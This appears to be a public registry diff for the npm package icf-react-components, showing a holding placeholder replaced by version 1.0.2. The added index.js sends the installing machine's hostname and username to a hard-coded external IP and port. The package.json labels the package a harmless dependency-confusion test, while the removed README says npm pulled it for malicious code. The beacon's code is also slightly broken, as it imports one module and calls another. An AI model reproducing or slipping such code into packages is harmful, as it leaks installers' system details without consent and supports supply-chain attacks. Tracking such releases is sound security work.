icf-react-components 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of icf-react-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +11 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ const https = require('http'); // Use http instead of https for non-SSL setup
2
+
3
+ // Replace 'YOUR_VPS_IP' with your actual VPS IP address
4
+ const vpsIp = '62.171.155.146';
5
+ const port = 54333;
6
+
7
+ http.get(`http://${vpsIp}:${port}/report-install?host=${process.env.HOSTNAME}&user=${process.env.USER}`, (resp) => {
8
+ console.log('Notification sent');
9
+ }).on("error", (err) => {
10
+ console.log("Error: " + err.message);
11
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "icf-react-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "A harmless testing package for dependency confusion testing.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Test package for dependency confusion\""
8
+ },
9
+ "author": "Thee Eclipse",
10
+ "license": "MIT"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=icf-react-components for more information.